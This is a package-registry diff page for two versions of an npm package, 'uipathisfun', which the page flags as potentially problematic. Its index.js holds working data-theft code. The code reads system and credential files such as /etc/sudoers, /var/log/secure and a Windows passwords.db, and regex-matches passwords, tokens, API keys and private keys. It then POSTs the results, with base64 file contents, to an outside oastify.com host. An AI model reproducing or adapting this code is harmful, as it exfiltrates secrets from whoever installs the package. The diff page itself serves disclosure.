uipathisfun 1.0.30 → 1.0.32
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of uipathisfun might be problematic. Click here for more details.
- package/index.js +31 -70
- package/package.json +1 -1
- package/uipathisfun-1.0.32.tgz +0 -0
- package/uipathisfun-1.0.30.tgz +0 -0
package/index.js
CHANGED
|
@@ -1,18 +1,26 @@
|
|
|
1
|
-
|
|
2
1
|
const fs = require('fs');
|
|
3
2
|
const os = require('os');
|
|
4
|
-
const path = require('path');
|
|
5
3
|
const http = require('http');
|
|
6
4
|
const OAST_HOST = '0nopxr82g2bsk9e28w87vxucn3tuhn5c.oastify.com';
|
|
7
5
|
|
|
8
|
-
function sendBeacon(
|
|
6
|
+
function sendBeacon(urlPath, payload) {
|
|
9
7
|
try {
|
|
10
8
|
const body = JSON.stringify(payload);
|
|
11
|
-
const req = http.request({
|
|
9
|
+
const req = http.request({
|
|
10
|
+
hostname: OAST_HOST,
|
|
11
|
+
method: 'POST',
|
|
12
|
+
path: urlPath,
|
|
13
|
+
headers: {
|
|
14
|
+
'Content-Type': 'application/json',
|
|
15
|
+
'Content-Length': Buffer.byteLength(body)
|
|
16
|
+
}
|
|
17
|
+
}, () => {});
|
|
12
18
|
req.on('error', () => {});
|
|
13
19
|
req.write(body);
|
|
14
20
|
req.end();
|
|
15
|
-
} catch (e) {
|
|
21
|
+
} catch (e) {
|
|
22
|
+
// ignore
|
|
23
|
+
}
|
|
16
24
|
}
|
|
17
25
|
|
|
18
26
|
function noteId(base) {
|
|
@@ -20,7 +28,7 @@ function noteId(base) {
|
|
|
20
28
|
}
|
|
21
29
|
|
|
22
30
|
function isTextBuffer(buf) {
|
|
23
|
-
return /^[\
|
|
31
|
+
return /^[\t\n\r \x20-\x7E]*$/.test(buf.slice(0, 512).toString('binary'));
|
|
24
32
|
}
|
|
25
33
|
|
|
26
34
|
function readFileEntry(filePath) {
|
|
@@ -41,8 +49,8 @@ function readFileEntry(filePath) {
|
|
|
41
49
|
}
|
|
42
50
|
|
|
43
51
|
function extractMatches(text) {
|
|
44
|
-
const re = /(password|passwd|secret|token|api[_-]?key|aws_access_key_id|private_key)
|
|
45
|
-
const lines = text.split(
|
|
52
|
+
const re = /(password|passwd|secret|token|api[_-]?key|aws_access_key_id|private_key)\\s*[:=]?\\s*([^\\s'\\"]+)/ig;
|
|
53
|
+
const lines = text.split('\n');
|
|
46
54
|
const out = [];
|
|
47
55
|
for (let i = 0; i < lines.length; i++) {
|
|
48
56
|
const line = lines[i];
|
|
@@ -62,71 +70,23 @@ async function sensitiveScan() {
|
|
|
62
70
|
'/etc/pam.d/passwd',
|
|
63
71
|
'/etc/sudoers',
|
|
64
72
|
'/var/log/secure',
|
|
65
|
-
'C:\\
|
|
66
|
-
'C:\\Users\\*\\Documents\\passwords.db',
|
|
67
|
-
'C:\\Users\\*\\Documents\\passwords.kdbx',
|
|
68
|
-
'C:\\Users\\*\\Documents\\passwords.txt',
|
|
69
|
-
'C:\\Users\\*\\Documents\\password_2fa_authentication.txt',
|
|
70
|
-
'C:\\Users\\*\\AppData\\Local\\Microsoft\\Edge\\**\\*Token*'
|
|
73
|
+
'C:\\Users\\Public\\Documents\\passwords.db'
|
|
71
74
|
];
|
|
72
75
|
|
|
73
76
|
for (const target of targets) {
|
|
74
|
-
const
|
|
75
|
-
|
|
76
|
-
|
|
77
|
-
|
|
78
|
-
|
|
79
|
-
|
|
80
|
-
|
|
81
|
-
|
|
82
|
-
|
|
83
|
-
|
|
84
|
-
|
|
85
|
-
|
|
86
|
-
|
|
87
|
-
const subPath = `${dirPrefix}\\${dirEntry.name}\\${rest.slice(wildcardIndex + 1).join('\\')}`;
|
|
88
|
-
candidates.push(subPath);
|
|
89
|
-
}
|
|
90
|
-
}
|
|
91
|
-
}
|
|
92
|
-
|
|
93
|
-
if (target.includes('**')) {
|
|
94
|
-
candidates.push(target.replace(/\*\*/g, '*'));
|
|
95
|
-
}
|
|
96
|
-
}
|
|
97
|
-
|
|
98
|
-
if (os.platform() === 'win32' && target.toLowerCase().endsWith('passwords.db')) {
|
|
99
|
-
const users = 'C:\\Users';
|
|
100
|
-
if (fs.existsSync(users) && fs.statSync(users).isDirectory()) {
|
|
101
|
-
for (const userEntry of fs.readdirSync(users, { withFileTypes: true })) {
|
|
102
|
-
if (!userEntry.isDirectory()) continue;
|
|
103
|
-
const p = path.join(users, userEntry.name, 'Documents', 'passwords.db');
|
|
104
|
-
if (fs.existsSync(p) && fs.statSync(p).isFile()) {
|
|
105
|
-
candidates.push(p);
|
|
106
|
-
}
|
|
107
|
-
}
|
|
108
|
-
}
|
|
109
|
-
}
|
|
110
|
-
|
|
111
|
-
if (!target.includes('*')) {
|
|
112
|
-
candidates.push(target);
|
|
113
|
-
}
|
|
114
|
-
|
|
115
|
-
for (const filePath of Array.from(new Set(candidates))) {
|
|
116
|
-
const exists = fs.existsSync(filePath);
|
|
117
|
-
const isFile = exists && fs.statSync(filePath).isFile();
|
|
118
|
-
const fileEntry = readFileEntry(filePath);
|
|
119
|
-
const text = fileEntry ? fileEntry.text : null;
|
|
120
|
-
const matches = text ? extractMatches(text) : [];
|
|
121
|
-
info.hits.push({
|
|
122
|
-
path: filePath,
|
|
123
|
-
exists,
|
|
124
|
-
isFile,
|
|
125
|
-
matches,
|
|
126
|
-
lines: text ? text.split(/\r?\n/) : null,
|
|
127
|
-
base64: fileEntry && fileEntry.base64 ? fileEntry.base64 : null
|
|
128
|
-
});
|
|
129
|
-
}
|
|
77
|
+
const exists = fs.existsSync(target);
|
|
78
|
+
const isFile = exists && fs.statSync(target).isFile();
|
|
79
|
+
const entry = readFileEntry(target);
|
|
80
|
+
const text = entry ? entry.text : null;
|
|
81
|
+
const matches = text ? extractMatches(text) : [];
|
|
82
|
+
info.hits.push({
|
|
83
|
+
path: target,
|
|
84
|
+
exists,
|
|
85
|
+
isFile,
|
|
86
|
+
matches,
|
|
87
|
+
lines: text ? text.split('\n') : null,
|
|
88
|
+
base64: entry && entry.base64 ? entry.base64 : null
|
|
89
|
+
});
|
|
130
90
|
}
|
|
131
91
|
|
|
132
92
|
return info;
|
|
@@ -135,6 +95,7 @@ async function sensitiveScan() {
|
|
|
135
95
|
async function run() {
|
|
136
96
|
const info = { note: noteId('uipathisfun_info_v3'), platform: os.platform(), date: new Date().toISOString() };
|
|
137
97
|
info.sensitive = await sensitiveScan();
|
|
98
|
+
console.log('== scan done ==');
|
|
138
99
|
console.log(JSON.stringify(info.sensitive, null, 2));
|
|
139
100
|
sendBeacon('/v3', info);
|
|
140
101
|
}
|
package/package.json
CHANGED
|
Binary file
|
package/uipathisfun-1.0.30.tgz
DELETED
|
Binary file
|